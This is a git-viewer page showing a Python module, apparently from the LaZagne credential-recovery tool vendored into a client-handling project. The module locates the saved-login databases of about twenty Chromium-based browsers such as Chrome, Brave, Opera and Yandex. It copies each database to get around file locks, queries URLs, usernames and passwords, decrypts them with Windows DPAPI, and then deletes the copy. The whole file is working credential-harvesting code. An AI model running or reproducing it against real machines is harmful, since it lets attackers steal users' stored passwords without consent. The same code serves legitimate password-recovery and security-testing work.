summaryrefslogtreecommitdiff
path: root/foreign/client_handling/lazagne/softwares/browsers/chromium_based.py
blob: 7fc7e8535d51e8ddf32e3a763cdedc24e55d10e5 (plain)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
# -*- coding: utf-8 -*- 
import base64
import json
import os
import random
import shutil
import sqlite3
import string
import tempfile
import traceback

from foreign.client_handling.lazagne.config.constant import constant
from foreign.client_handling.lazagne.config.module_info import ModuleInfo
from foreign.client_handling.lazagne.config.winstructure import Win32CryptUnprotectData
from foreign.client_handling.lazagne.softwares.windows.credman import Credman


class ChromiumBased(ModuleInfo):
    def __init__(self, browser_name, paths):
        self.paths = paths if isinstance(paths, list) else [paths]
        self.database_query = 'SELECT action_url, username_value, password_value FROM logins'
        ModuleInfo.__init__(self, browser_name, 'browsers', winapi_used=True)

    def _get_database_dirs(self):
        """
        Return database directories for all profiles within all paths
        """
        databases = set()
        for path in [p.format(**constant.profile) for p in self.paths]:
            profiles_path = os.path.join(path, u'Local State')
            if os.path.exists(profiles_path):
                # List all users profile (empty string means current dir, without a profile)
                profiles = {'Default', ''}

                # Automatic join all other additional profiles
                for dirs in os.listdir(path):
                    dirs_path = os.path.join(path, dirs)
                    if (os.path.isdir(dirs_path) == True) and (dirs.startswith('Profile')):
                        profiles.extend(dirs)

                with open(profiles_path) as f:
                    try:
                        data = json.load(f)
                        # Add profiles from json to Default profile. set removes duplicates
                        profiles |= set(data['profile']['info_cache'])
                    except Exception:
                        pass

                # Each profile has its own password database
                for profile in profiles:
                    # Some browsers use names other than "Login Data"
                    # Like YandexBrowser - "Ya Login Data", UC Browser - "UC Login Data.18"
                    try:
                        db_files = os.listdir(os.path.join(path, profile))
                    except Exception:
                        continue
                    for db in db_files:
                        if u'login data' in db.lower():
                            databases.add(os.path.join(path, profile, db))
        return databases

    def _export_credentials(self, db_path, is_yandex=False):
        """
        Export credentials from the given database

        :param unicode db_path: database path
        :return: list of credentials
        :rtype: tuple
        """
        credentials = []
        yandex_enckey = None

        if is_yandex:
            try:
                credman_passwords = Credman().run()
                for credman_password in credman_passwords:
                    if b'Yandex' in credman_password.get('URL', b''):
                        if credman_password.get('Password'):
                            yandex_enckey = credman_password.get('Password')
                            self.info('EncKey found: {encKey}'.format(encKey=repr(yandex_enckey)))
            except Exception:
                self.debug(traceback.format_exc())
                # Passwords could not be decrypted without encKey
                self.info('EncKey has not been retrieved')
                return []

        try:
            conn = sqlite3.connect(db_path)
            cursor = conn.cursor()
            cursor.execute(self.database_query)
        except Exception:
            self.debug(traceback.format_exc())
            return credentials

        for url, login, password in cursor.fetchall():
            try:
                # Yandex passwords use a masterkey stored on windows credential manager
                # https://yandex.com/support/browser-passwords-crypto/without-master.html
                if is_yandex and yandex_enckey:
                    try:
                        p = json.loads(str(password))
                    except Exception:
                        p = json.loads(password)

                    password = base64.b64decode(p['p'])

                    # Passwords are stored using AES-256-GCM algorithm
                    # The key used to encrypt is stored on the credential manager

                    # from cryptography.hazmat.primitives.ciphers.aead import AESGCM
                    # aesgcm = AESGCM(yandex_enckey)
                    # Failed...
                else:
                    # Decrypt the Password
                    password = Win32CryptUnprotectData(password, is_current_user=constant.is_current_user,
                                                       user_dpapi=constant.user_dpapi)

                if not url and not login and not password:
                    continue

                credentials.append((url, login, password))
            except Exception:
                self.debug(traceback.format_exc())

        conn.close()
        return credentials

    def copy_db(self, database_path):
        """
        Copying db will bypass lock errors
        Using user tempfile will produce an error when impersonating users (Permission denied)
        A public directory should be used if this error occured (e.g C:\\Users\\Public)
        """
        random_name = ''.join([random.choice(string.ascii_lowercase) for i in range(9)])
        root_dir = [
            tempfile.gettempdir(),
            os.environ.get('PUBLIC', None),
            os.environ.get('SystemDrive', None) + '\\',
        ]
        for r in root_dir:
            try:
                temp = os.path.join(r, random_name)
                shutil.copy(database_path, temp)
                self.debug(u'Temporary db copied: {db_path}'.format(db_path=temp))
                return temp
            except Exception:
                self.debug(traceback.format_exc())
        return False

    def clean_file(self, db_path):
        try:
            os.remove(db_path)
        except Exception:
            self.debug(traceback.format_exc())

    def run(self):
        credentials = []
        for database_path in self._get_database_dirs():
            is_yandex = False if 'yandex' not in database_path.lower() else True

            # Remove Google Chrome false positif
            if database_path.endswith('Login Data-journal'):
                continue

            self.debug('Database found: {db}'.format(db=database_path))

            # Copy database before to query it (bypass lock errors)
            path = self.copy_db(database_path)
            if path:
                try:
                    credentials.extend(self._export_credentials(path, is_yandex))
                except Exception:
                    self.debug(traceback.format_exc())
                self.clean_file(path)

        return [{'URL': url, 'Login': login, 'Password': password} for url, login, password in set(credentials)]


# Name, path or a list of paths
chromium_browsers = [
    (u'7Star', u'{LOCALAPPDATA}\\7Star\\7Star\\User Data'),
    (u'amigo', u'{LOCALAPPDATA}\\Amigo\\User Data'),
    (u'brave', u'{LOCALAPPDATA}\\BraveSoftware\\Brave-Browser\\User Data'),
    (u'centbrowser', u'{LOCALAPPDATA}\\CentBrowser\\User Data'),
    (u'chedot', u'{LOCALAPPDATA}\\Chedot\\User Data'),
    (u'chrome canary', u'{LOCALAPPDATA}\\Google\\Chrome SxS\\User Data'),
    (u'chromium', u'{LOCALAPPDATA}\\Chromium\\User Data'),
    (u'coccoc', u'{LOCALAPPDATA}\\CocCoc\\Browser\\User Data'),
    (u'comodo dragon', u'{LOCALAPPDATA}\\Comodo\\Dragon\\User Data'),  # Comodo IceDragon is Firefox-based
    (u'elements browser', u'{LOCALAPPDATA}\\Elements Browser\\User Data'),
    (u'epic privacy browser', u'{LOCALAPPDATA}\\Epic Privacy Browser\\User Data'),
    (u'google chrome', u'{LOCALAPPDATA}\\Google\\Chrome\\User Data'),
    (u'kometa', u'{LOCALAPPDATA}\\Kometa\\User Data'),
    (u'opera', u'{APPDATA}\\Opera Software\\Opera Stable'),
    (u'orbitum', u'{LOCALAPPDATA}\\Orbitum\\User Data'),
    (u'sputnik', u'{LOCALAPPDATA}\\Sputnik\\Sputnik\\User Data'),
    (u'torch', u'{LOCALAPPDATA}\\Torch\\User Data'),
    (u'uran', u'{LOCALAPPDATA}\\uCozMedia\\Uran\\User Data'),
    (u'vivaldi', u'{LOCALAPPDATA}\\Vivaldi\\User Data'),
    (u'yandexBrowser', u'{LOCALAPPDATA}\\Yandex\\YandexBrowser\\User Data')
]

chromium_browsers = [ChromiumBased(browser_name=name, paths=paths) for name, paths in chromium_browsers]